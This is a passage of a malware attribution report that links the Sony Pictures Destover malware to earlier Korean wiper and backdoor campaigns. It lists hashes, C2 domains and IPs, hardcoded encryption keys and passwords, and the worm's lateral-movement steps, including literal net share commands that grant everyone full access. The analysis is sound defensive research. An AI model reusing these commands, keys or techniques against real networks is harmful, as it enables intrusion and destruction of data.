+Bb102@jH4$t3hg%6&G1s*2J3gCNwVr*UeI!Dr3hytg^CHGf%ion + which is used by several Joanap malware +samples. +We can say with reasonable confidence that the threat actors behind the Koredos attack, like in the Dozer attack, +have been involved in the creation of the KorDllbot family. +Symantec reported another malware to be involved along with the Koredos malware - the stealthy backdoor +Prioxer (9). Prioxer made a return in connection with the DarkSeoul (often known as Jokra) attacks in 2013. This +relationship has been covered by in studies by both Symantec (10) and McAfee (5). +THE JOONGANG ILBO ATTACK +In 2012, the conservative daily newspaper Joongang llbo was subject to a disk wiping attack (11). +Not much technical data is in the public domain about this incident. However, a Korean researcher links this attack +to the Sony attack, based on code similarities (12). We have no reason to doubt this assessment. +THE DARKSEOUL (AKA 3.20 OR JOKRA) ATTACK +DarkSeoul was a debilitating and destructive attack in March 2013 that affected several Korean banks and news +organizations. It may be the most well-known of all the Korean +wiper + attacks. The incident has been extensively +researched by several vendors; notably the mentioned Operation Troy paper (5) by McAfee covered a good deal of +the malware involved. +The main malware family connected with that attack + an IRC controlled bot + was a programming project that had +been ongoing for years before being employed in the DarkSeoul attack. The earliest sample we have of this family +(known as XwDoor or Keydoor) was apparently compiled in January 2009. This family is quite easy to spot, as there +are a number of strings that appear consistently re-used. The intrusion also involved a backdoor family named +Prioxer. There was no obvious connection to the KorDllbot/Destover complex until Symantec tied the Prioxer +malware back to the 2011 Koredos incident (10). +THE KORHIGH MALWARE +The Korhigh malware was identified around June 25 2013 in connection with investigations into other attacks on +South Korean targets (13). This date coincided with the 63 anniversary for the start of the Korean War. It had a +destructive component, capable of deleting files and overwriting the Master Boot Record (MBR) of hard drives. +The malware was apparently created by a group calling itself +High Anonymous. + The following image was +contained as a resource in one of the executables: +There are strong similarities between the Sony malware and the malware used in the Korhigh campaign. These +similarities have been reported by Korean researchers (13), but have gone largely unnoticed in the West. +Comparing 4d4b17ddbcf4ce397f76cf0a2e230c9d513b23065f746a5ee2de74f447be39b9 from the Sony attack with +5b5aede68a6b3aa50cd62c5f4f02078620f0b7be4ceb679b6d5dfe25a44b8cb9 from the Korhigh attack we see code +reuse. Specifically, the code used for spreading over the network is almost identical. The technique used by both +goes as follows: +1. Scan for computers that have ports 139 and 443 open +2. Test the remote login credentials by attempting to access the admin$ share +3. If successful, create a remote service with the name +RasMgrp + and description +RasSecruity +4. Use the commands +cmd.exe /q /c net share shared$=%SystemRoot% + and +cmd.exe /q /c net share +shared$=%SystemRoot% /GRANT:everyone,FULL + to create a +shared$ + share. +5. Copy itself over to the share +6. Match the new file +s timestamp to that of the local +calc.exe +7. Delete the share using the same service name, this time with the command +cmd.exe /q /c net share shared$ +/delete +Even the filenames used when copying itself over the share are similar: +Destover filenames Korhigh filenames +recdiscm32.exe +recdiscm.exe +taskhosts64.exe +taskhosts.exe +taskchg16.exe +taskchg.exe +rdpshellex32.exe +rdpshellex.exe +mobsynclm64.exe +mobsynclm.exe +comon32.exe +comon32.exe +diskpartmg16.exe +diskpartmg.exe +dpnsvr16.exe +dpnsvr32.exe +expandmn32.exe +expandmn.exe +hwrcompsvc64.exe +hwrcompsvc.exe +File timestamp matching function comparison +There is little doubt that parts of the same codebase has been used in both of these attacks. +In the Sony incident, several malware samples contained information that seemed to indicate foreknowledge about +the layout of the targeted networks. This included local hostnames, usernames and even passwords. +This was also the case in the Korhigh attack. At least two samples +(5b5aede68a6b3aa50cd62c5f4f02078620f0b7be4ceb679b6d5dfe25a44b8cb9, +d6a07b7ecd5ae7e948cce032603558a5d21100ba5f04056c72aec1ab2d36956e) came with pre-defined +configurations containing domain, hostname, username and password combinations. Though we have no hard data +to confirm this, it could mean that Korhigh was part of an actual intrusion at the time. +Part of a config resource showing network information. +NOV 2014: SONY ATTACK DESTOVER BACKDOOR SAMPLES ARE BASED ON KORDLLBOT +The Destover +lightweight backdoor + (sha256 +4c2efe2f1253b94f16a1cab032f36c7883e4f6c8d9fc17d0ee553b5afb16330c) mentioned in official statements +related to the Sony intrusion is a digitally signed file. There is also an almost identical unsigned file in existence with +the sha256 eff542ac8e37db48821cb4e5a7d95c044fff27557763de3a891b40ebeb52cc55. This unsigned file is the +original. It was established that the signed file was created as a +joke + by a researcher (4). +We were able to locate more malware samples similar to this backdoor. Many of these were created in a +timeframe well before the Sony intrusion came to light. Some also match the import hash indicators mentioned in +the US-CERT advisory, though import hashes are non-unique indicators and cannot always be relied upon. +Closer investigation reveals that this Destover sample is indeed derived from the same source base as KorDllbot. +This is based on the following indicators: +The Chopstring API string obfuscation +The CMXE command line construction +Same way of declaring API +Similarities with later samples, such as: +o A printf +MessageThread + statement in the beginning of the command handling function (similar +to Destover +MessageThread + samples) +o Use of the XOR-A7 encoding to decode strings (similar to Destover +b076e058 + samples) +Throughout 2014 and 2015 and still ongoing in 2016, Destover-related backdoors have continued to be used in +various campaigns. They share many common traits, but there are also clear differences in functionality, hinting at +a common source repository but where customization is added as needed. Some subfamilies have received their +own variant names + i.e. Volgmer and Duuzer + while others have no separate moniker. See appendix for detailed +descriptions of variants. +OTHER POSSIBLY RELATED MALWARE ACTIVITY +A number of incidents and malware systems have been attributed to either the DarkSeoul group or North Korean +threat actors. This chapter will quickly go through some of these. +THE CASTOV AND CASTDOS CAMPAIGNS (AKA 6.25 DDOS ATTACKS) +The Castov campaign mainly targeted South Korean financial corporations and was discovered in May 2013 (16). +Notably, these malwares included code to steal banking credentials. +Some were designed to perform DDOS attacks on Korean government servers on June 25 , 2013 (16) (12) + the +same date that the destructive Korhigh malware was also uncovered - though we have no information as to +whether these cases were connected. +On the face of it, there is little to directly connect the Castov malware with the DarkSeoul/Destover complex, as the +codebase is largely different. For example, the initial downloader was a crimeware known as Tijcont, distributed by +the Gongda exploit kit. The downloaded banking malware was written in Delphi, uncommon for DarkSeoul projects. +However, Symantec states clearly in their blog post that they attribute Castov to the DarkSeoul group. +THE KIMSUKY SYSTEM +The Kimsuky malware complex was originally detailed in a report from Kaspersky (14) in 2013 and has been an +active component of the South Korean threat landscape since then. Ahnlab reported a new campaign in Feb 2014 +(15), and an intrusion attempt into South Korean nuclear facilities in Dec 2014 was also identified to involve +Kimsuky (16). +The Kimsuky malware is different in structure from the Destover complex. It uses different encoding schemes and +algorithms than Destover, and email and FTP is used for C&C communication and exfiltration. +Similar to Destover, Kimsuky has used HWP exploits as infection vector. A number of samples rely on +vulnerabilities in the old OLE2-based HWP file format. However, they have not, as far as we have seen, used the +recent CVE-2015-6585 HWPX vulnerability which has been used to plant at least three variants of Destover. +There are some similarities in modus operandi, such as +Encoded API usage. +Frequent code hand-modifications between samples +Malware installed as services +Taunting the victim in public fora +Posing as hacktivist groups (17) +Publication of stolen data (17) +Based on the available data we cannot say that the Kimsuky-based campaigns are connected to the DarkSeoul +group. +THE BLACKMINE SYSTEM +Blackmine is a South Korean focused malware campaign detailed by Ahnlab (18). +The payload malware in question is a data harvester and uploader, which also allows for download of more +malware. In the same way as Kimsuky, there are some similar approaches with Destover + the usage of obfuscated +API names for example + but also enough differences to say that Blackmine probably has not originated from the +same codebase. Ahnlab does however state that they see these groups as possibly correlated. +CONCLUSION +The attack on Sony Pictures Entertainment incorporated the use of malware which contained a number of +commonalities with malware used in previously known attacks. +These previous attacks were mainly focused against South Korean entities such as financial institutions, +government sites, think tanks and other important functions. Targets outside South Korea have also been affected, +albeit to a lesser extent: Apart from the Sony intrusion, the Dozer DDOS attacks of 2009 were also directed towards +US websites. +The amount of common factors between the different incidents makes it in our opinion very likely that these +incidents are perpetrated by the same group, or at least cooperating groups. +In this paper, we are not commenting on geographical attribution for the Sony attack. We note that a number of +the mentioned previous attacks (Dozer (15), Koredos, Korhigh (16), DarkSeoul (17)) have been associated with +North Korean involvement, but these associations have not been examined or validated by us. +It is worth noting that this threat actor is still active. We have seen Destover-samples compiled as recently as +January 2016. DarkSeoul should be considered a constant risk factor, particularly for South Korean institutions. +The Destover malware family seems to be the information gathering workhorse of this group + adapted and +changed to fit the purpose du jour, but retaining a lot of the same overall design and methodology. For specific +targets more customized malware is often deployed. +Command and control connections are almost always going to raw IP addresses, and different malware generations +tend to use different sets of addresses. It is our assumption that most of these IP +s are compromised computers +which probably are running proxies, and as such are easily disposable. + 2016 Blue Coat Systems, Inc. All rights reserved. Blue Coat, the Blue Coat logos, ProxySG, PacketShaper, CacheFlow, IntelligenceCenter, CacheOS, CachePulse, Crossbeam, K9, the K9 +logo, DRTR, MACH5, PacketWise, PolicyCenter, ProxyAV, ProxyClient, SGOS, WebPulse, Solera Networks, the Solera Networks logos, DeepSee, +See Everything. Know Everything. +Security Empowers Business +, and BlueTouch are registered trademarks or trademarks of Blue Coat Systems, Inc. or its affiliates in the U.S. and certain other countries. This list may +not be complete, and the absence of a trademark from this list does not mean it is not a trademark of Blue Coat or that Blue Coat has stopped using the trademark. All other +trademarks mentioned in this document owned by third parties are the property of their respective owners. This document is for informational purposes only. Blue Coat makes no +WORKS CITED +1. FBI. FBI Liaison Alert System #A-000044-mw. [Online] https://publicintelligence.net/fbi-korean-malware/. +2. US-CERT. Alert (TA14-353A) Targeted Destructive Malware. [Online] https://www.us-cert.gov/ncas/alerts/TA14353A. +3. Symantec. Duuzer back door Trojan targets South Korea to take over computers. [Online] +http://www.symantec.com/connect/blogs/duuzer-back-door-trojan-targets-south-korea-take-over-computers. +4. Ullrich, Johannes B. Malware Signed With Valid SONY Certificate. [Online] +https://isc.sans.edu/forums/diary/Malware+Signed+With+Valid+SONY+Certificate+Update+This+was+a+Joke/1904 +5. Sherstobitoff , Ryan, Liba, Itai and Walter, James. Dissecting Operation Troy: Cyberespionage in South Korea. +[Online] http://www.mcafee.com/us/resources/white-papers/wp-dissecting-operation-troy.pdf. +6. Jiang, Genwei and Kimble, Josiah. Hangul Word Processor (HWP) Zero-Day. [Online] +https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/FireEye_HWP_ZeroDay.pdf. +7. SecureSoft. 7.7 DDoS +. [Online] +https://www.securesoft.co.jp/news_mt/docs/7.7DDOS_2.pdf. +8. McAfee, Inc. Ten Days of Rain. [Online] http://www.mcafee.com/us/resources/white-papers/wp-10-days-ofrain.pdf. +9. Lelli, Andrea. Backdoor.Prioxer!inf: +Accidentally + the Stealthiest File Infector Ever! [Online] +http://www.symantec.com/connect/blogs/backdoorprioxerinf-accidentally-stealthiest-file-infector-ever. +10. Symantec. Four Years of DarkSeoul Cyberattacks Against South Korea Continue on Anniversary of Korean War. +[Online] http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-koreacontinue-anniversary-korean-war. +11. Korea Joongang Daily. JoongAng hit by major cyberattack. [Online] +http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2954219. +12. Kwaak, Jeyup S. Sony Hack Mirrors Attack on South Korean Newspaper, Researcher Says. [Online] +http://blogs.wsj.com/korearealtime/2014/12/19/sony-hack-mirrors-attack-on-south-korean-newspaperresearcher-says/. +13. Boannews. + vs. 6.25 +. [Online] +http://www.boannews.com/media/view.asp?idx=44451. +14. Tarakanov, Dmitry. The +Kimsuky + Operation: A North Korean APT? [Online] +https://securelist.com/analysis/publications/57915/the-kimsuky-operation-a-north-korean-apt/. +15. Fox News. S. Korea Analyzes Computers Used in Cyberattacks. [Online] +http://www.foxnews.com/story/2009/07/12/s-korea-analyzes-computers-used-in-cyberattacks.html. +16. v3.co.uk. South Korea blames cyber attacks on North Korean government hackers. [Online] +http://www.v3.co.uk/v3-uk/news/2282616/south-korea-blames-cyber-attacks-on-north-korean-governmenthackers. +17. Chosun Ilbo. Evidence in Hacker Attack Points to N.Korea. [Online] +http://english.chosun.com/site/data/html_dir/2013/04/11/2013041100648.html. +APPENDIX: TECHNICAL DETAILS +Note: Data used for this report has solely come from public or +otherwise unrestricted sources. +THE JOANAP FAMILY +JOANAP.A BACKDOOR, JAN 2009 +The first version of what could be called a Joanap-related malware was a series apparently compiled January 16 th +January 19 2009. This is actually not a worm at all, as there is no code for network propagation present. Instead, it +is a data harvester and backdoor which bears some similarity with KorDllbots + API +s are dynamically declared, +harvested data is added to ZIP file before exfiltration, and the command structure uses a set of integers (0x1010 +0x1020). +As previously mentioned, the Joanap malware series contains code snippets from publicly available Rbot code (25). +This includes an implementation of the Tiny Encryption Algorithm (TEA) which has been somewhat modified, as +well as the Rbot PLAIN_CRYPT algorithm. The default key used in the PLAIN_CRYPT public Rbot source is the string +9024jhdho39ehe2 +. This key is used if there is no other key passed to the algorithm. +However, this backdoor uses the same default key as later Joanap variants - +9025jhdho39ehe2 +, a one-byte +change quite specific to this malware series. +Joanap.A also uses a custom key which is used both in the PLAIN_CRYPT algorithm (for string decryption) and in the +TEA algorithm (for data file encryption/decryption). This is the string +hybrid!@hybrid!@# + which is visible in +cleartext inside the executable. +JOANAP.B WORM, OCT 2009 +This malware is significantly different from the A version. The main similarity between them is the use of the Rbot +PLAIN_CRYPT algorithm for string decryption with the mentioned +9025jhdho39ehe2 + default key. The custom key +used is now changed to +iamsorry!@1234567 +The executable contains two XOR-encrypted objects in its resource section. One is a dictionary file containing +passwords, stored in resource 101. The other, stored in resource 103, is an executable + a copy of the legitimate +PsExec tool from SysInternals. +Contrary to the A version, this variant is a true worm. It generates random IP addresses and attempts to connect to +these over the SMB port 445/tcp. It uses the WNetAddConnection2A API to map the remote machine as a share, +using its dictionary of passwords. If this works, it will copy itself to the system folder of the remote server, and +extract its embedded PsExec application to execute the file remotely. +The malware does not connect directly to a C&C server. Instead it sends status mails to its controller via GMail +public mail server gmail-smtp-in.l.google.com. The email will appear to be sent FROM ninja@gmail.com TO +xiake722@gmail.com. Content is all in the subject field + initially only version (1.1), time, and local IP address. +Upon successful connection and copy to a remote machine, the malware sends mail again + this time also +containing remote IP, username and password, in addition to its initial fields. +Above: Email transfer between Joanap and the mail server. +A minor sub-variant of this Joanap generation exists. This sends email just the same way as described above, but +uses a different TO address (laohu1985@gmail.com) during network propagation. +JOANAP.B DOWNLOADED BACKDOOR, SEP 2009 +However, spreading is not the main payload of the B version of Joanap. Instead, it attempts to download and install +a second stage malware. This malware, with the sha256 hash of +c6d96be46ce3d616e0cb36d53c4fade7e954e74bfd2e34f9f15c4df58fc732d2, was hosted on the URL +hxxp://www.booklist.co.kr/upload/img/200810/25.gif. It would be downloaded and saved to disk under the name +sysfault.exe and executed. +This malware is an installer, installing a service dll in the system folder under the name +sdnssec.dll +. This is a listenonly backdoor, establishing a listening socket on port 136. +Similar to the Joanap.A variant and other KorDllbot-related backdoors, this supports a number of integer +commands. The binary contains quite a lot of debug messages helpfully explaining the functionality of these. +Command +0x1010 +0x1011 +0x1012 +0x1013 +0x1014 +0x1015 +0x1016 +0x1017 +0x1018 +0x1019 +0x1020 +0x1021 +0x1023 +0x1030 +0x1031 +0x1032 +0x10FF +Function +List drives +File browse +File copy +File delete +File upload (to target) +File download (to botmaster) +Execute file +Change filetime +Folder download (to botmaster) +Test connect +Run shell command +Sleep +File properties +Process view +Process kill +Process kill by name +Uninstall +JOANAP.C BACKDOOR, JUL 2010 +The installer of Joanap.D (next entry) also actively deletes installed files named signtc.ax, signtm.ax, or signts.ax. +Searching for these brought up an apparently preceding sample which uses one of these files - signtc.ax - for +storing data. This sample appears to belong to a series of previous backdoors somewhat related to KorDllbot +example SHA-256 hash is 4b6078e3fa321b16e94131e6859bfca4503bcb440e087d5ae0f9c87f1c77b421. +We have not analyzed this variant in detail. +JOANAP.D BACKDOOR, JUL 2011 +This malware arrives as a service installer which extracts and installs a DLL named scardprv.dll from its resource +section, and writes hardcoded configuration data to a config file named mssscardprv.ax. It also attempts to delete +files installed by previous Joanap versions. +The dropped service DLL has similarities with KorDllbots. It establishes a listening socket on a semi-random port +which is either located between 1024 and 2048; or selected from a list of hardcoded port options. It also attempts +to connect to C&C servers which are defined in the saved mssscardprv.ax file as raw IP address/port combinations. +All network traffic is encrypted using RC4 with the binary key +(0x10,0x20,0x30,0x40,0x50,0x60,0x70,0x80,0x90,0x11,0x12,0x13,0x1A,0xFF,0xEE,0x48), and the backdoor accepts +integer commands in the range 0x4001-0x4015. +API strings reside in data blocks encrypted using AES. Network API +s are encrypted with the key +b n4rbhriq890v9=023=01*&(T-0Q325J1N;LK' +, while all others are encrypted with the key +Bb102@jH4$t3hg%6&G1s*2J3gCNwVr*UeI!Dr3hytg^CHGf%ion +. This particular AES key was also found in both +Joanap and KorDllbot malware belonging to the previously mentioned MicrosoftCodeSigningPCA certificate cluster. +In addition, this variant includes the Rbot PLAIN_CRYPT decryption keys +9025jhdho39ehe2 + and +iamsorry!@1234567 + for one specific decryption scenario. So, even though it is somewhat different from previous +variants, it contains enough technical indicators to link it to the Joanap family. +The samples we have seen do not appear to have network spreader capability, though they may have been +dropped by other malware. +Above: Indicators in the binary +JOANAP.E WORM, AUG-SEP 2011 +Joanap.E was the first variant of this family we tied to this threat complex, due to the fact that several samples are +signed using the peculiar MicrosoftCodeSigningPCA certificate format. +This variant is again a worm + as mentioned before, the installer drops three files + one SMB spreading DLL +(wmmvsvc.dll), one backdoor DLL (scardprv.dll) and one configuration file (mssscardprv.ax). The backdoor DLL and +the configuration file fill the same role as in Joanap.D. +The network spreader module contains some code from the B variant, but a lot of functionality has been reworked. +Similarly to B, it generates semi-random IP addresses and attempts to logon to the admin account of these +machines using a password dictionary. If it manages to do this, it creates a remote share named +$adnim + (no +typo), copies the main installer (and the configuration file) over, and executes it. The authors have moved away +from using PsExec for remote execution. Instead they add shares and execute the worm by creating remote service +commands via the Service Control Manager. +If this is successful, the worm sends a status mail the same way as the B variant. Mail is this time FROM: +redhat@gmail.com TO: Joana . +This malware uses the same encryption keys as the B variant. This worm sets the mutex +PlatFormSDK2.1 +JOANAP.F WORM, MAR 2012 +We have only two slightly different samples of this generation. Again, the malware +s structure has changed. It is no +longer a service DLL, but instead a standalone Windows executable. Contrary to previous versions, this worm +requires being started with at least one command line parameter (either +i or -s), if not it just exits. +The +s parameter starts the spreading routine if it is installed correctly and it can find its configuration files. The +samples we have come without installer or data files and do not run. +There is no doubt that these samples belong to this malware family + they use the same encryption keys, mutex +structures and data file names as the E variant in the series. There is one notable exception: This is the first time we +see the file encryption RC4 key +y0uar3@s!11yid!07,ou74n60u7f001 +, which closely matches the key mentioned as +belonging to the +SMB Word Tool + in the US-CERT advisory (2) after the Sony incident, +"y0uar3@s!llyid!07,ou74n60u7f001 +. The difference might be due to a typo. The malware appears not to be +identical though, as some other strings from the advisory YARA rule are not present. +This worm sets the mutex +PlatFormSDK2 +JOANAP.G WORM, OCT 2014 +This Joanap variation uses the mutex +Global\FwtSqmSession106829323_S-1-5-19 +, which also matches data from +the US-CERT advisory (2). However, this time the worm has switched to a different RC4 key +y@s!11yid60u7f!07ou74n001 +. This variation has been detailed by researchers from PriceWaterhouseCoopers (4). +JOANAP.H WORMS, OCT 2014-JAN 2015 +This is a series on Joanap executables produced towards the end of 2014 and beginning of 2015. They use the +mutex +Global\FwtSqmSession106839323_S-1-5-20 +, but the same RC4 key as the G variants. +Some samples are quite a lot larger than normal on account of including a big chunk of code from the open source +FreeRDP remote desktop client. Apart from this we have not analyzed these samples in detail. +THE DESTOVER FAMILY +DESTOVER +B076E058 + BACKDOORS, FEB-JUNE 2014. +This sub variant has been named +b076e058 + based on the first portion of the RSA authentication key used for its +server handshake. +Most samples share the ChopString and XOR-A7 obfuscation functions with the Sony-associated malware +eff542ac8e37db48821cb4e5a7d95c044fff27557763de3a891b40ebeb52cc55. They also declare API calls in the +same way. +Samples of this variant were all compiled with the library name +Troy.dll + in the Export Table, similar to what +McAfee documented in their +Operation Troy + paper (5) on destructive attacks against South Korean targets. +Troy.dll visible in 10d3ab45077f01675a814b189d0ac8a157be5d9f1805caa2c707eecbb2cbf9ac +This variant is typically installed as service, with one export - +ServiceMain +. Its main purpose is to listen on a given +port and accept commands. The integer codes used for these commands are: +A variant: 0x54b7- 0x54cb, with the exception of 0x54be and 0x54ca. +B variant: 0x54b7- 0x54cb, with the exception of 0x54be and 0x54ca, and the addition of 0x54d0. +The installation is done by unobfuscated dropper executables, which install the service DLLs after performing some +systems checks. +DESTOVER +VOLGMER + BACKDOORS, MAR-SEPT 2014 +Volgmer backdoors were quickly connected to the Sony case, since several samples use a C&C IP address +(200.87.126.116) in common with the Sony malware droppers. The family is easily recognized by the peculiar +UserAgent strings used, which all start with +Mozillar/ + instead of +Mozilla/. +These backdoors come in three flavors (that we +ve found). +The first batch was apparently compiled March 15, 2014. These appear to be prototypes for later versions, and +helpfully contain debug strings labeling all major functionality. We have only DLL samples of this variant. +The second batch was apparently compiled in April 2014. The droppers contain a service DLL and a configuration +file in a password-protected zip archive embedded as a resource in the dropper executable. The dropper needs to +be able to extract these files, so it also contains the password - which in this case is +!1234567890 +dghtdhtrhgfjnui$%^^&fdt. +The third batch was apparently compiled in June and July 2014. These droppers contain a regular Win32 executable +where the configuration data is contained in the exe. The dropped executable checks the current locale and will not +run unless this contains the string +korea. +Each dropper package comes configured with partially different C&C information. True to the standard modus +operandi of this group, all C&C servers are defined as raw IP addresses, typically located on ports in the 8000-range, +such as 8080, 8088 or 8888. +Configuration file from the first batch of Volgmer droppers - after the cgi_config marker follow IP/port pairs. +Main functionality involves gathering system information and uploading this to the two main C&C servers in an +encoded ZIP-archived format. They accept commands in the range 0x1000-0x1008 (A) and 0x1000-0x1012 (B/C). +DESTOVER +WINDOWSUPDATETRACING + BACKDOORS, SEPT-OCT 2014 +This malware is somewhat different in design than previously mentioned variants. The installer package installs the +backdoor along with legitimate packet filtering components, and there is code to steal credentials from a great deal +of different products, some of which are Korean. One interesting feature with this malware is that it has some +limited support for other languages - it contains some user folder names in ex. Spanish and Portuguese in addition +to English. The name +WindowsUpdateTracing + is derived from a mutex created by this variant + typically this will +WindowsUpdateTracing0.5 + but the suffixes + and + also exist. Chopstring API obfuscation is also +present. +Command integers are in the range 0x58692ab8-0x58692ac0. +This trojan uses a semi-traditional Command and Control model, with connections seemingly going to a number of +DynDNS domains that are defined in an accompanying configuration file named msxml15.xml. This configuration +file is encrypted using RC4; typically with the RC4 key +BAISEO%$2fas9vQsfvx%$ + though some samples use the API +name +GetFileAttributesW + as key + possibly a bug. +Known C2 domains: +iphoneserver.lflink.com +dns05.mefound.com +mx1.mefound.com +dns01.vizvaz.com +myserver.mrbonus.com +game.dnsrd.com +dns01.zzux.com +exchange01.toh.info +exchange04.yourtrap.com +However, the DNS resolution for these domains is misleading. The IP address returned by the DNS server will be +ed with a 32-bit key (we have seen two different keys, depending on variant type), which yields the correct C2 +IP address to use. This means that relying on DNS resolution to identify C&C hosts will not work. +IP longint returned in the DNS response is XOR +ed with a dword integer. +This bogus DNS response can be used in an interesting fashion. The domain mx1.mefound.com has resolved to the +bogus IP 44.58.156.86. When this IP is converted using the corresponding XOR key 0x579C3A53 it becomes +127.0.0.1 + i.e. localhost. Presumably this is done when the bot is not active. The IP 44.58.156.86 belongs to +University of California at San Diego (UCSD) and have as far as I can tell never been used to host any publicly +available domain. Still, passive DNS data shows that this IP has been the DNS response of a number of DynDNS +domains; many of which we had not seen before. We may thus assume that these domains are used in backdoors +containing the same XOR key as this particular Destover sample. This applies to the following additional domains: +update03.compress.to +baid.otzo.com +mx2.mefound.com +facebok.mrbasic.com +report01.onedumb.com +appinfo.yourtrap.com +gupdate.yourtrap.com +status01.instanthq.com +eschool.toythieves.com +gogle.jungleheart.com +mycompany.moneyhome.biz +Since we know the XOR key used, we can also translate any other IP +s associated with these domains to presumably +correct C&C IP addresses (see appendix). If we repeat this process with the other XOR key we know of 0x1AB9C2D8 - we end up with the localhost IP 127.0.0.1 translating to the bogus IP of 167.194.185.27. No +additional data was found at this time using this method, but any DynDNS domain resolving to this IP in the future +might be interesting to look at. +DESTOVER +MESSAGETHREAD + BACKDOORS, MAY 2014-MAR 2015 +These Destover backdoors contain the Chopstring obfuscation, as well as XOR-A7 encoding. +They are straight remote control tools of the basic KorDllBot model. The name stems from the Unicode string +MessageThread + present in all samples of this type. The Sony Destover sample belonged to this variation. +The command integers used by this variant are typically in the range 0x523b-0x5249. +Unlike many other Destover trojans, some of these installers come with embedded decoy documents, hinting at +intended target audience. The decoys are all in Korean language + one document lists telephone numbers +belonging to personnel in government and other public functions; other samples contain an invitation to the +Korean Government 3.0 expo that was to be held in in Seoul. +Gov 3.0 expo invitation +DESTOVER +B8AC0905 + BACKDOOR, MAR 2015 +We have only a single sample of this variant. The name b8ac0905 is derived from the authentication key string +contained in the file (See appendix). The API obfuscation is here done via an encoding scheme which appears +unique, but bears some similarity with RC4. We call this encoding +Intbox + as the S-Box is not populated using a +string as input, but instead is a function of an integer key. +This is a +listen only + backdoor, and does not call out to any C&C server directly. We do not have the configuration +data that presumably was installed along with this sample, so no more details are available at this time. +The integer commands it expects are 0x00-0x0f, 0x12 and 0x15. +DESTOVER +B59D1659 + BACKDOOR, APR 2015 +We have only one sample of this variant too + a Win64 DLL exporting the functions ServiceMain, RasmanStart and +RasManEnd.Of these, only ServiceMain has any real function. The sample attempts to impersonate the legitimate +appmgmts.dll from X64 Windows 7. It is even of the exact same size as the original. The name b59d1659 is derived +from the RSA authentication key string contained in the file (see appendix). +The command words used by this variant are in the range 0x2638000-x236801b. +The C&C configuration is read from a data flle - appmgmts.rs - which presumably is created by the installer, and +which we do not have a copy of. Thus, C&C information and distribution method is unknown for this variant. +DESTOVER +RANDOMDOMAIN + BACKDOORS, MAR-APR 2015. VERSION C JAN 2016 +Destover +Randomdomain + backdoors have also evolved from the original KorDllbots. They come in both x86 and +x64 versions. +There seems to be three distinct variants of this class of backdoors with slightly different obfuscation methods used +and C&C configuration, though most variants use the same API obfuscation + an inline character replacement +technique resulting in almost recognizable API strings in the file. We name this technique +CharSwap + for the +purpose of this paper. +They connect to their C&C servers using what appears to be SSL/TLS. This includes a remote server name indication +(SNI) extension in the initial Client Hello. This server name is randomly picked from an internal list of domain names + thus the name +Randomdomain. + A list of such names can be found in the appendix. When I say +appears to be +SSL/TLS, this is because the encryption actually used is not secure. The malware can choose between different +simple encryption modi, and these are somewhat different between the known variants. +Variant A uses either RC4 with the string +TCPPROCESSREADY. + as encryption key, or a XOR 0x28, SUB 0x28 +encoding, or a segmented XOR encoding . Variant B uses either simple byte wise XOR encoding with a shifting key, +or an even simpler XOR 0x25, SUB 0x25 encoding. Variant C uses only one + the same shifting XOR encoding used +by variant B. +Variant C checks auto proxy settings and will connect through the configured proxy if possible. This code is not seen +in earlier versions. +The command words used by these backdoors are in the range 0x123459 - 0x12348a (some files to 0x123488). +The two first variants were apparently in use in the first half of 2015. Variant C has been used more recently +have seen only two samples, the first date stamped May 2015, the last Jan 12 , 2016. +DESTOVER +DUUZER + BACKDOORS, MAR-OCT 2015 , JAN 2016 +The Duuzer variation of Destover backdoors have evolved quite a bit from the original KorDllbot basis. They use +more in-code obfuscation and are somewhat more complex. For example, string references are stored as encoded +local variables in special functions. Access to these variables is obtained by calling the containing function with an +offset into the variable blob, and the function decodes the correct string. +Similar to the +RandomDomain + and +e4004c1f + these backdoors use specially crafted SSL headers to initiate +communication with their C&C servers, but the encryption is custom. The command scheme is also somewhat +unique + instead of a digit to indicate which function to perform, these backdoors use binary multibyte command +statements. +There are several sub variants of Duuzer. One sample . (sha256 +f31d6feacf2ecece13696dcc2da15d15d29028822011b45045f9efa8a0522098) appears to be a predecessor and +somewhat simpler than later samples. Later variants include the +live + and the +naver + versions - based on the +server name they use in their faked SSL handshake, either +login.live.com + or +ad.naver.com +. The latest versions +we have seen + compiled January 2016 + don +t even bother with these strings. +As previously mentioned, Duuzer has been detailed in a report from Symantec (3). This report also mentions the +connection to the Joanap malware family, and details examples of live usage of the +CMXE + command line +execution mentioned before. +This variant has been seen as the payload of trojanized HWPX documents exploiting the CVE-2015-6585 +vulnerability as documented by FireEye (6). Decoy documents include invitations to events like Korean Aerospace +Systems Engineering 2015, and Aeroseminar 2015; a Korean Aerospace Weapon System Development Seminar +(below). An email found on VirusTotal shows that an exploited document containing this exact decoy was +attempted sent to the Korean Atomic Energy Research Institute (KAERI). +DESTOVER +E4004C1F + BACKDOOR, JUL-SEP 2015 +The main differences in this backdoor arise from the inclusion of what appears to be modified open source SSL/TLS +code. This is used to construct legitimate SSL headers, though the communication itself is encrypted by a +homegrown encoding scheme. This backdoor is found in both x86 and x64 variants. +The name e4004c1f is taken from the start of the authentication key found in all these samples. +The command integers vary somewhat between sub variants: +Variant A samples use the range 0x00-0x0f, with addition of bytes 0x12, 0x1b, and 0x64. +Variant B samples use the range 0x0a-0x24, with exception of bytes 0x18, 0x1c, and 0x1d +Variant C samples use the range 0x0a-0x26, with exception of bytes 0x18, 0x1c, and 0x1d +This family has also been used as the payload of CVE-2015-6585 trojanized HWP documents. The FireEye write-up +on this mentions a backdoor they name HANGMAN (7). FireEye uses a proprietary malware naming scheme which +makes it somewhat difficult to correlate, but we believe this corresponds to the +e4004c1f + variant. In the same +blog post FireEye mentions a backdoor they call PEACHPIT. Based on the code snippet shown, we believe PEACHPIT +to belong to one of the early KorDllbot generations. As mentioned, the exact same CMXE code has been used in +several generations from 2011 and onwards. +Decoy documents used by +e4004c1f + include descriptions of the LDAP protocol, and a text on the virtues of Scrum +vs Kanban. The latter was attempted sent to the Korean Google group +sysadminstudy +. It is possible that this +generation of malware has been aimed at the IT/software industry. +Decoy documents used by the +e4004c1f + variant include a Korean text on the LDAP protocol. +Apart from the similarities with other malware established in the publications mentioned above, this variant has +been distributed in a particular installer which includes the backdoor in an embedded password-protected zip +archive. The password for this zip archive is +!1234567890 dghtdhtrhgfjnui$%^^&fdt + - identical to the password +used by Destover +Volgmer + backdoors already detailed in this paper. There are also code similarities with Volgmer +elsewhere + for example, the function to declare network API +s from ws2_32.dll is identical, and the API names are +encoded using the same API obfuscation scheme. 